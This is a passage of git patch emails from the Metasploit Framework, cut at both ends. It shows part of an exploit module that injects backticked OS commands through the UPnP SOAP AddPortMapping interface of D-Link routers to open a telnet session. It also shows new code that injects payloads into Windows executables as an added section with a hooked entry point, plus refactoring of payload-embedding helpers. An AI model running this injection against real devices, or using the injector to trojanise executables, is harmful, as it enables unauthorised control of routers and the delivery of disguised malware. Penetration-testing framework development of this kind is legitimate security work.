telnet session") + else + print_good("#{rhost}:#{rport} - Telnet session successfully established...") + end + + handler(sock) + rescue + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") + end + end + + def request(cmd, type) + + uri = '/soap.cgi' + + data_cmd = "" + data_cmd << "" + data_cmd << "" + + if type == "add" + vprint_status("#{rhost}:#{rport} - adding portmapping") + + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + + data_cmd << "" + data_cmd << "#{@new_portmapping_descr}" + data_cmd << "" + data_cmd << "`#{cmd}`" + data_cmd << "1" + data_cmd << "#{@new_external_port}" + data_cmd << "" + data_cmd << "TCP" + data_cmd << "#{@new_internal_port}" + data_cmd << "" + else + #we should clean it up ... otherwise we are not able to exploit it multiple times + vprint_status("#{rhost}:#{rport} - deleting portmapping") + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping" + + data_cmd << "" + data_cmd << "TCP#{@new_external_port}" + data_cmd << "" + end + + data_cmd << "" + data_cmd << "" + + begin + res = send_request_cgi({ + 'uri' => uri, + 'vars_get' => { + 'service' => 'WANIPConn1' + }, + 'ctype' => "text/xml", + 'method' => 'POST', + 'headers' => { + 'SOAPAction' => soapaction, + }, + 'data' => data_cmd + }) + return res + rescue ::Rex::ConnectionError + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") + end + end + + def negotiate_telnet(sock) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, tel_timeout) + return nil if not data or data.length == 0 + if data =~ /\x23\x20$/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end + +end From d64c8748e8496a2e2a3ac0fea0c0020504c8fc5b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 19 Aug 2013 15:05:27 -0500 Subject: [PATCH 026/160] Fix descriptions and names --- modules/exploits/linux/http/dlink_upnp_exec_noauth.rb | 8 +++----- .../exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb | 2 +- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 96bdc938e0..928b86cbc9 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -22,11 +22,9 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no - output for the executed command when using the CMD target. Additionally, two targets - are included, to start a telnetd service and establish a session over it, or deploy a - native mipsel payload. This module has been tested successfully on DIR-300, DIR-600, - DIR-645, DIR-845 and DIR-865. According to the vulnerability discoverer, - more D-Link devices may affected. + output for the executed command when using the CMD target. Additionally, a target + to deploy a native mipsel payload, when wget is available on the target device, has + been added. This module has been tested on DIR-865 and DIR-645 devices. }, 'Author' => [ diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb index 9b8c740d80..4465ddb49e 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth_telnetd.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'D-Link Devices UPnP SOAP Command Execution', + 'Name' => 'D-Link Devices UPnP SOAP Telnetd Command Execution', 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. This module has been tested successfully on DIR-300, DIR-600, DIR-645, From 7b555679e6a3cb1b7dde89561b4f8dbea90ad056 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 19 Aug 2013 15:06:47 -0500 Subject: [PATCH 027/160] Really delete the telnet target --- modules/exploits/linux/http/dlink_upnp_exec_noauth.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb index 928b86cbc9..569bbdc9c5 100644 --- a/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_exec_noauth.rb @@ -80,8 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote if target.name =~ /CMD/ exploit_cmd - elsif target.name =~ /Telnet/ - exploit_telnet else exploit_mips end From 8f47aa6dcbeeda84c99d52dc0f9c210eb6b7ddeb Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sat, 24 Aug 2013 16:11:00 -0500 Subject: [PATCH 028/160] Basic Injector class create a class for injecting payloads into an exe template as a new section --- lib/msf/core/exe/segment_injector.rb | 103 ++++++++++++++++++ .../lib/msf/core/exe/segment_injector_spec.rb | 38 +++++++ 2 files changed, 141 insertions(+) create mode 100644 lib/msf/core/exe/segment_injector.rb create mode 100644 spec/lib/msf/core/exe/segment_injector_spec.rb diff --git a/lib/msf/core/exe/segment_injector.rb b/lib/msf/core/exe/segment_injector.rb new file mode 100644 index 0000000000..2e0b893464 --- /dev/null +++ b/lib/msf/core/exe/segment_injector.rb @@ -0,0 +1,103 @@ +module Msf +module Exe + + require 'metasm' + + class SegmentInjector + + attr_accessor :payload + attr_accessor :template + attr_accessor :arch + + def initialize(opts = {}) + @payload = opts[:payload] + @template = opts[:template] + @arch = opts[:arch] + + end + + def processor + case @arch + when :x86 + return Metasm::Ia32.new + when :x64 + return Metasm::X86_64.new + end + end + + def create_thread_stub + < pe.optheader.image_base + pe.optheader.entrypoint) # tell the original entrypoint address to our hook + pe.sections << s + pe.invalidate_header + + # Change the entrypoint to our new section + pe.optheader.entrypoint = 'hook_entrypoint' + pe.cpu = pe_orig.cpu + + pe.encode_string + end + + end +end +end diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb new file mode 100644 index 0000000000..85ba765123 --- /dev/null +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -0,0 +1,38 @@ +require 'spec_helper' +require 'msf/core/exe/segment_injector' + +describe Msf::Exe::SegmentInjector do + + let(:opts) do + option_hash = { + :template => File.join(File.dirname(__FILE__), "..", "..", "..", "..", "..", "data", "templates", "template_x86_windows.exe"), + :payload => "\xd9\xeb\x9b\xd9\x74\x24", + :arch => :x86 + } + end + subject(:injector) { Msf::Exe::SegmentInjector.new(opts) } + + it { should respond_to :payload } + it { should respond_to :template } + it { should respond_to :arch } + it { should respond_to :processor } + + it 'should return the correct processor for the arch' do + injector.processor.class.should == Metasm::Ia32 + injector.arch = :x64 + injector.processor.class.should == Metasm::X86_64 + end + + context '#payload_as_asm' do + it 'should return the payload as declare byte instructions' do + injector.payload_as_asm.should == "db 0xd9\ndb 0xeb\ndb 0x9b\ndb 0xd9\ndb 0x74\ndb 0x24\n" + end + end + + describe '#generate_pe' do + it 'should return a string' do + injector.generate_pe.kind_of?(String).should == true + end + end +end + From d38117a5219b4a2777df8acf4916e309864527fc Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sat, 24 Aug 2013 16:30:47 -0500 Subject: [PATCH 029/160] replace old inject method replacing jsut the win32 inject method this time with out new injector method. --- lib/msf/util/exe.rb | 81 ++++----------------------------------------- 1 file changed, 7 insertions(+), 74 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index ce819442fc..a4b77aa83c 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -16,6 +16,7 @@ require 'rex/pescan' require 'rex/zip' require 'metasm' require 'digest/sha1' +require 'msf/core/exe/segment_injector' ## # @@ -175,80 +176,12 @@ require 'digest/sha1' #try to inject code into executable by adding a section without affecting executable behavior if(opts[:inject]) - if endjunk - raise RuntimeError, "Junk at end of file. Is this a packed exe?" - end - - #find first section file offset and free RVA for new section - free_rva = pe.hdr.opt.AddressOfEntryPoint - first_off = sections_end - pe.sections.each do |sec| - first_off = sec.file_offset if sec.file_offset < first_off - free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva - end - #align free_rva - free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment - - #See if we can add a section - first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader - new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER - if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off - raise RuntimeError, "Not enough room for new section header" - end - - # figure out where in the new section to put the start. Right now just putting at the beginning of the new section - start_rva = free_rva - - #make new section, starting at free RVA - new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva) - #pad to file alignment - new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment)) - - #make new section header - new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct - new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name - new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE - new_sechead.v['VirtualAddress'] = free_rva - new_sechead.v['SizeOfRawData'] = new_sec.length - new_sechead.v['PointerToRawData'] = sections_end - - # Create the modified version of the input executable - exe = '' - File.open(opts[:template], 'rb') { |fd| - exe = fd.read(fd.stat.size) - } - - #New file header with updated number of sections and timedatestamp - new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct - new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE]) - new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1 - new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000) - exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s - - #new optional header with new entry point, size of image, and size of code - new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct - new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader]) - new_opthead.v['AddressOfEntryPoint'] = start_rva - new_opthead.v['SizeOfImage'] = free_rva + new_sec.length - new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length - exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s - #kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway - exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8 - #kill certificate; if it exists, we just invalidated it - exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8 - - #new section header and new section - exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s - exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec - exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1) - - cks = pe.hdr.opt.CheckSum - if(cks != 0) - exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V") - end - - pe.close - + injector = Msf::Exe::SegmentInjector.new({ + :payload => code, + :template => opts[:template], + :arch => :x86 + }) + exe = injector.generate_pe return exe end From bd5f184e2b4be3f40d2e177da3b2dbbfe5fcc0d2 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sat, 24 Aug 2013 16:50:45 -0500 Subject: [PATCH 030/160] Dry up the exe subsitution stuff 6 different methods were doing essentially the same exact thing. DRY it up a bit --- lib/msf/util/exe.rb | 192 +++++++++++++------------------------------- 1 file changed, 57 insertions(+), 135 deletions(-) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index a4b77aa83c..7193b00965 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -379,170 +379,92 @@ require 'msf/core/exe/segment_injector' pe << Rex::Text.rand_text(rand(64)+4) return pe - end + end + + def self.exe_sub_method(code,opts ={}) + + pe = '' + File.open(opts[:template], "rb") { |fd| + pe = fd.read(fd.stat.size) + } + + case opts[:exe_type] + when :service_exe + max_length = 8192 + name = opts[:servicename] + + if name + bo = pe.index('SERVICENAME') + raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo + pe[bo, 11] = [name].pack('a11') + end + + if not opts[:sub_method] + pe[136, 4] = [rand(0x100000000)].pack('V') + end + when :dll + max_length = 2048 + when :exe_sub + max_length = 4096 + end + + bo = pe.index('PAYLOAD:') + raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo + + if (code.length <= max_length) + pe[bo, code.length] = [code].pack("a*") + else + raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module" + end + + if opts[:exe_type] == :dll + mt = pe.index('MUTEX!!!') + pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt + end + + return pe + end def self.to_win32pe_exe_sub(framework, code, opts={}) - # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.exe") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 4096) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module" - end - - return pe + opts[:exe_type] = :exe_sub + exe_sub_method(code,opts) end def self.to_win64pe(framework, code, opts={}) - # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 4096) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module" - end - - return pe + opts[:exe_type] = :exe_sub + exe_sub_method(code,opts) end def self.to_win32pe_service(framework, code, opts={}) - - name = opts[:servicename] - # Allow the user to specify their own service EXE template set_template_default(opts, "template_x86_windows_svc.exe") - - pe = '' - File.open(opts[:template], 'rb') { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 8192) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module" - end - - if name - bo = pe.index('SERVICENAME') - raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo - pe[bo, 11] = [name].pack('a11') - end - - if not opts[:sub_method] - pe[136, 4] = [rand(0x100000000)].pack('V') - end - - return pe + opts[:exe_type] = :service_exe + exe_sub_method(code,opts) end def self.to_win64pe_service(framework, code, opts={}) - - name = opts[:servicename] - # Allow the user to specify their own service EXE template set_template_default(opts, "template_x64_windows_svc.exe") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 8192) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module" - end - - if name - bo = pe.index('SERVICENAME') - raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo - pe[bo, 11] = [name].pack('a11') - end - - if not opts[:sub_method] - pe[136, 4] = [rand(0x100000000)].pack('V') - end - - return pe + opts[:exe_type] = :service_exe + exe_sub_method(code,opts) end def self.to_win32pe_dll(framework, code, opts={}) - # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 2048) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" - end - - # optional mutex - mt = pe.index('MUTEX!!!') - pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt - - return pe + opts[:exe_type] = :dll + exe_sub_method(code,opts) end def self.to_win64pe_dll(framework, code, opts={}) - # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") - - pe = '' - File.open(opts[:template], "rb") { |fd| - pe = fd.read(fd.stat.size) - } - - bo = pe.index('PAYLOAD:') - raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo - - if (code.length <= 2048) - pe[bo, code.length] = [code].pack("a*") - else - raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module" - end - - # optional mutex - mt = pe.index('MUTEX!!!') - pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt - - return pe + opts[:exe_type] = :dll + exe_sub_method(code,opts) end def self.to_osx_arm_macho(framework, code, opts={}) From 98a09b9f5c427be8c84ce5ae13395d914a27ce43 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sat, 24 Aug 2013 16:59:29 -0500 Subject: [PATCH 031/160] 'remove unused framework references passing around framework references that are never used removing these whever possible --- lib/msf/core/exploit/exe.rb | 8 +++--- lib/msf/util/exe.rb | 26 +++++++++---------- .../windows/local/service_permissions.rb | 2 +- .../windows/escalate/net_runtime_modify.rb | 2 +- 4 files changed, 19 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index ef0d751c70..9a46aca17d 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -71,9 +71,9 @@ module Exploit::EXE pl ||= payload.encoded if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) - exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) + exe = Msf::Util::EXE.to_win64pe_service(pl, opts) else - exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) + exe = Msf::Util::EXE.to_win32pe_service(pl, opts) end exe_post_generation(opts) @@ -90,9 +90,9 @@ module Exploit::EXE pl ||= payload.encoded if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) - dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) + dll = Msf::Util::EXE.to_win64pe_dll(pl, opts) else - dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) + dll = Msf::Util::EXE.to_win32pe_dll(pl, opts) end exe_post_generation(opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 7193b00965..29925c4224 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -91,7 +91,7 @@ require 'msf/core/exe/segment_injector' if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) ) if (plat.index(Msf::Module::Platform::Windows)) - return to_win64pe(framework, code, opts) + return to_win64pe(code, opts) end if (plat.index(Msf::Module::Platform::Linux)) @@ -147,7 +147,7 @@ require 'msf/core/exe/segment_injector' end # use - return self.to_win32pe_exe_sub(framework, code, opts) + return self.to_win32pe_exe_sub(code, opts) end # Allow the user to specify their own EXE template @@ -425,42 +425,42 @@ require 'msf/core/exe/segment_injector' return pe end - def self.to_win32pe_exe_sub(framework, code, opts={}) + def self.to_win32pe_exe_sub(code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.exe") opts[:exe_type] = :exe_sub exe_sub_method(code,opts) end - def self.to_win64pe(framework, code, opts={}) + def self.to_win64pe(code, opts={}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") opts[:exe_type] = :exe_sub exe_sub_method(code,opts) end - def self.to_win32pe_service(framework, code, opts={}) + def self.to_win32pe_service(code, opts={}) # Allow the user to specify their own service EXE template set_template_default(opts, "template_x86_windows_svc.exe") opts[:exe_type] = :service_exe exe_sub_method(code,opts) end - def self.to_win64pe_service(framework, code, opts={}) + def self.to_win64pe_service(code, opts={}) # Allow the user to specify their own service EXE template set_template_default(opts, "template_x64_windows_svc.exe") opts[:exe_type] = :service_exe exe_sub_method(code,opts) end - def self.to_win32pe_dll(framework, code, opts={}) + def self.to_win32pe_dll(code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") opts[:exe_type] = :dll exe_sub_method(code,opts) end - def self.to_win64pe_dll(framework, code, opts={}) + def self.to_win64pe_dll(code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") opts[:exe_type] = :dll @@ -1855,15 +1855,15 @@ End Sub when 'dll' output = case arch - when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) - when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) + when ARCH_X86,nil then to_win32pe_dll(code, exeopts) + when ARCH_X86_64 then to_win64pe_dll(code, exeopts) + when ARCH_X64 then to_win64pe_dll(code, exeopts) end when 'exe' output = case arch when ARCH_X86,nil then to_win32pe(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe(framework, code, exeopts) - when ARCH_X64 then to_win64pe(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe(code, exeopts) + when ARCH_X64 then to_win64pe(code, exeopts) end when 'exe-small' diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index bdc5639e5a..32e5110cc9 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Local raw = payload.encoded - exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw) + exe = Msf::Util::EXE.to_win32pe_service(raw) sysdir = session.fs.file.expand_path("%SystemRoot%") tmpdir = session.fs.file.expand_path("%TEMP%") diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb index 1c54990055..4d113ceb3d 100644 --- a/modules/post/windows/escalate/net_runtime_modify.rb +++ b/modules/post/windows/escalate/net_runtime_modify.rb @@ -140,7 +140,7 @@ class Metasploit3 < Msf::Post payload.datastore['LHOST'] = lhost payload.datastore['LPORT'] = lport - exe = Msf::Util::EXE.to_win32pe_service(session.framework, payload.generate) + exe = Msf::Util::EXE.to_win32pe_service(payload.generate) begin print_status("Uploading payload #{file} executable to temp directory") # Upload the payload to the filesystem From 4c57af051aa671c5714dd0f0589fba2ea1ced623 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sat, 24 Aug 2013 17:52:57 -0500 Subject: [PATCH 032/160] Revert "'remove unused framework references" This reverts commit 98a09b9f5c427be8c84ce5ae13395d914a27ce43. --- lib/msf/core/exploit/exe.rb | 8 +++--- lib/msf/util/exe.rb | 26 +++++++++---------- .../windows/local/service_permissions.rb | 2 +- .../windows/escalate/net_runtime_modify.rb | 2 +- 4 files changed, 19 insertions(+), 19 deletions(-) diff --git a/lib/msf/core/exploit/exe.rb b/lib/msf/core/exploit/exe.rb index 9a46aca17d..ef0d751c70 100644 --- a/lib/msf/core/exploit/exe.rb +++ b/lib/msf/core/exploit/exe.rb @@ -71,9 +71,9 @@ module Exploit::EXE pl ||= payload.encoded if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) - exe = Msf::Util::EXE.to_win64pe_service(pl, opts) + exe = Msf::Util::EXE.to_win64pe_service(framework, pl, opts) else - exe = Msf::Util::EXE.to_win32pe_service(pl, opts) + exe = Msf::Util::EXE.to_win32pe_service(framework, pl, opts) end exe_post_generation(opts) @@ -90,9 +90,9 @@ module Exploit::EXE pl ||= payload.encoded if opts[:arch] and (opts[:arch] == ARCH_X64 or opts[:arch] == ARCH_X86_64) - dll = Msf::Util::EXE.to_win64pe_dll(pl, opts) + dll = Msf::Util::EXE.to_win64pe_dll(framework, pl, opts) else - dll = Msf::Util::EXE.to_win32pe_dll(pl, opts) + dll = Msf::Util::EXE.to_win32pe_dll(framework, pl, opts) end exe_post_generation(opts) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 29925c4224..7193b00965 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -91,7 +91,7 @@ require 'msf/core/exe/segment_injector' if( arch.index(ARCH_X86_64) or arch.index( ARCH_X64 ) ) if (plat.index(Msf::Module::Platform::Windows)) - return to_win64pe(code, opts) + return to_win64pe(framework, code, opts) end if (plat.index(Msf::Module::Platform::Linux)) @@ -147,7 +147,7 @@ require 'msf/core/exe/segment_injector' end # use - return self.to_win32pe_exe_sub(code, opts) + return self.to_win32pe_exe_sub(framework, code, opts) end # Allow the user to specify their own EXE template @@ -425,42 +425,42 @@ require 'msf/core/exe/segment_injector' return pe end - def self.to_win32pe_exe_sub(code, opts={}) + def self.to_win32pe_exe_sub(framework, code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.exe") opts[:exe_type] = :exe_sub exe_sub_method(code,opts) end - def self.to_win64pe(code, opts={}) + def self.to_win64pe(framework, code, opts={}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") opts[:exe_type] = :exe_sub exe_sub_method(code,opts) end - def self.to_win32pe_service(code, opts={}) + def self.to_win32pe_service(framework, code, opts={}) # Allow the user to specify their own service EXE template set_template_default(opts, "template_x86_windows_svc.exe") opts[:exe_type] = :service_exe exe_sub_method(code,opts) end - def self.to_win64pe_service(code, opts={}) + def self.to_win64pe_service(framework, code, opts={}) # Allow the user to specify their own service EXE template set_template_default(opts, "template_x64_windows_svc.exe") opts[:exe_type] = :service_exe exe_sub_method(code,opts) end - def self.to_win32pe_dll(code, opts={}) + def self.to_win32pe_dll(framework, code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x86_windows.dll") opts[:exe_type] = :dll exe_sub_method(code,opts) end - def self.to_win64pe_dll(code, opts={}) + def self.to_win64pe_dll(framework, code, opts={}) # Allow the user to specify their own DLL template set_template_default(opts, "template_x64_windows.dll") opts[:exe_type] = :dll @@ -1855,15 +1855,15 @@ End Sub when 'dll' output = case arch - when ARCH_X86,nil then to_win32pe_dll(code, exeopts) - when ARCH_X86_64 then to_win64pe_dll(code, exeopts) - when ARCH_X64 then to_win64pe_dll(code, exeopts) + when ARCH_X86,nil then to_win32pe_dll(framework, code, exeopts) + when ARCH_X86_64 then to_win64pe_dll(framework, code, exeopts) + when ARCH_X64 then to_win64pe_dll(framework, code, exeopts) end when 'exe' output = case arch when ARCH_X86,nil then to_win32pe(framework, code, exeopts) - when ARCH_X86_64 then to_win64pe(code, exeopts) - when ARCH_X64 then to_win64pe(code, exeopts) + when ARCH_X86_64 then to_win64pe(framework, code, exeopts) + when ARCH_X64 then to_win64pe(framework, code, exeopts) end when 'exe-small' diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb index 32e5110cc9..bdc5639e5a 100644 --- a/modules/exploits/windows/local/service_permissions.rb +++ b/modules/exploits/windows/local/service_permissions.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Local raw = payload.encoded - exe = Msf::Util::EXE.to_win32pe_service(raw) + exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw) sysdir = session.fs.file.expand_path("%SystemRoot%") tmpdir = session.fs.file.expand_path("%TEMP%") diff --git a/modules/post/windows/escalate/net_runtime_modify.rb b/modules/post/windows/escalate/net_runtime_modify.rb index 4d113ceb3d..1c54990055 100644 --- a/modules/post/windows/escalate/net_runtime_modify.rb +++ b/modules/post/windows/escalate/net_runtime_modify.rb @@ -140,7 +140,7 @@ class Metasploit3 < Msf::Post payload.datastore['LHOST'] = lhost payload.datastore['LPORT'] = lport - exe = Msf::Util::EXE.to_win32pe_service(payload.generate) + exe = Msf::Util::EXE.to_win32pe_service(session.framework, payload.generate) begin print_status("Uploading payload #{file} executable to temp directory") # Upload the payload to the filesystem From 5e5f5acf1987334290d65195046d1ee688f9a899 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Sun, 25 Aug 2013 12:19:57 -0500 Subject: [PATCH 033/160] plug in 64bit injector 64 bit exe generation only had subsitution method add the x64 injector in there too. --- lib/msf/util/exe.rb | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 7193b00965..f6928c1d2d 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -435,6 +435,16 @@ require 'msf/core/exe/segment_injector' def self.to_win64pe(framework, code, opts={}) # Allow the user to specify their own EXE template set_template_default(opts, "template_x64_windows.exe") + #try to inject code into executable by adding a section without affecting executable behavior + if(opts[:inject]) + injector = Msf::Exe::SegmentInjector.new({ + :payload => code, + :template => opts[:template], + :arch => :x64 + }) + exe = injector.generate_pe + return exe + end opts[:exe_type] = :exe_sub exe_sub_method(code,opts) end From a50fa2deec362352a53825b616ae628d33772791 Mon Sep 17 00:00:00 2001 From: David Maloney Date: 